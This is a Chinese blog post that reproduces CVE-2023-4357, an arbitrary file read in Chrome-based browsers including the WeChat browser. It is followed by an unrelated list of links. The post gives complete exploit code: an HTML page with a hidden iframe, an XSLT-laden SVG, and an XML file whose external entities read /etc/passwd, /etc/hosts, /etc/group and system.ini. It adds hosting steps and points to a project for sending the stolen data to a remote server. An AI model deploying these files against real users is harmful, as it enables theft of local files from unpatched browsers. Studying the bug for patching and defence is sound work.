当前位置: 首页 > news >正文

谷歌浏览器任意文件访问漏洞(CVE-2023-4357)复现

1.漏洞级别

高危

2.漏洞描述

该漏洞的存在是由于 Google Chrome中未充分验证 XML 中不受信任的输入。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。
总结:一个XXE漏洞

3.利用范围

Google Chrome < 116.0.5845.96
所有使用谷歌内核的浏览器都能触发该漏洞 因此这个漏洞的利用范围其实非常广泛
在复现的时候 对微信浏览器的复现依然可以成功

4.漏洞复现

4.1 漏洞代码

我们需要创建三个文件
c.html


<body><div id="r"></div><script>const ifr = document.createElement('iframe');ifr.style.display = 'none';document.body.appendChild(ifr);ifr.onload = function() {const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;}ifr.src = "./c2.svg";var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;alert(data);
</script>
</body>

c2.svg


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"><foreignObject class="node" font-size="18" width="100%" height="100%"><body xmlns="http://www.w3.org/1999/xhtml"><xmp><xsl:copy-of select="document('./c3.xml')"/></xmp></body></foreignObject></svg></xsl:template>
</xsl:stylesheet>

c3.xml


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [<!ENTITY passwd SYSTEM "file:///etc/passwd"><!ENTITY hosts SYSTEM "file:///etc/hosts"><!ENTITY group SYSTEM "file://localhost/etc/group"><!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p><p style="border-style: dotted;">/etc/passwd:&passwd;</p><p style="border-style: dotted;" id="hosts">/etc/hosts:&hosts;</p><p style="border-style: dotted;">/etc/group:&group;</p><p style="border-style: dotted;">c:/windows/system.ini:&sysini;</p>
</p>

注:

xml文件是我们控制输出内容的,写法可以直接参考xml引用外部主体的方法,这里需要注意的是必须要写绝对路径

创建好这3个文件后,上传到服务器部署,没有web环境的童鞋可以通过python快速拉起一个

python3 http.server 8080   #python3

简单复现,在微信电脑端直接搜索生成的网页链接,
在这里插入图片描述点击访问,如果处于漏洞内核版本下就会成功触发
在这里插入图片描述

4.2 漏洞利用进阶

这里的敏感数据显示都是存在于网页上,但是我们依然可以通过html的机制把这些敏感数据外发到指定服务器上

可以参考这个项目

https://github.com/idootop/all-seeing-eye/tree/main

后续有时间我就写一个简易的实现代码,如果想直接测试 可以用上面的项目

相关文章:

  • ky10 server aarch64 离线安装openssl3.1.4
  • Linux防火墙常用操作及端口开放
  • 车牌识别 支持12种中文车牌类型 车牌数据集下载
  • 使用契约的链上限价订单
  • 股票池(三)
  • MAVEN——PACKAGE、INSTALL、DEPLOY的联系与区别
  • Linux环境下C++ 接入OpenSSL
  • sql server修改表结构及字段数据类型
  • Android Studio 安装及使用
  • 中国出海主力系列专访之三七互娱:亚马逊云科技助力三七互娱海外“出圈”之路
  • go 适配器模式
  • MySQL/Oracle用逗号分割的id怎么实现in (逗号分割的id字符串)。find_in_set(`id`, ‘1,2,3‘) 函数,
  • 从哪些方面分析Linux内核源码
  • C语言回文数(1106:回文数(函数专题))
  • 前端环境变量释义
  • 【comparator, comparable】小总结
  • Docker 笔记(1):介绍、镜像、容器及其基本操作
  • js继承的实现方法
  • react 代码优化(一) ——事件处理
  • Solarized Scheme
  • spring boot 整合mybatis 无法输出sql的问题
  • Vue 2.3、2.4 知识点小结
  • vue-router的history模式发布配置
  • Wamp集成环境 添加PHP的新版本
  • Webpack入门之遇到的那些坑,系列示例Demo
  • 第十八天-企业应用架构模式-基本模式
  • 动态规划入门(以爬楼梯为例)
  • 基于游标的分页接口实现
  • 聊聊flink的TableFactory
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 我与Jetbrains的这些年
  • 详解NodeJs流之一
  • 要让cordova项目适配iphoneX + ios11.4,总共要几步?三步
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • $.ajax,axios,fetch三种ajax请求的区别
  • $.type 怎么精确判断对象类型的 --(源码学习2)
  • (003)SlickEdit Unity的补全
  • (4)事件处理——(6)给.ready()回调函数传递一个参数(Passing an argument to the .ready() callback)...
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (C语言)逆序输出字符串
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (LeetCode C++)盛最多水的容器
  • (二)Pytorch快速搭建神经网络模型实现气温预测回归(代码+详细注解)
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (四)linux文件内容查看
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (转)重识new
  • (转载)Linux网络编程入门
  • .net core MVC 通过 Filters 过滤器拦截请求及响应内容
  • .NET Core实战项目之CMS 第一章 入门篇-开篇及总体规划
  • .net redis定时_一场由fork引发的超时,让我们重新探讨了Redis的抖动问题
  • .Net 路由处理厉害了
  • @Bean, @Component, @Configuration简析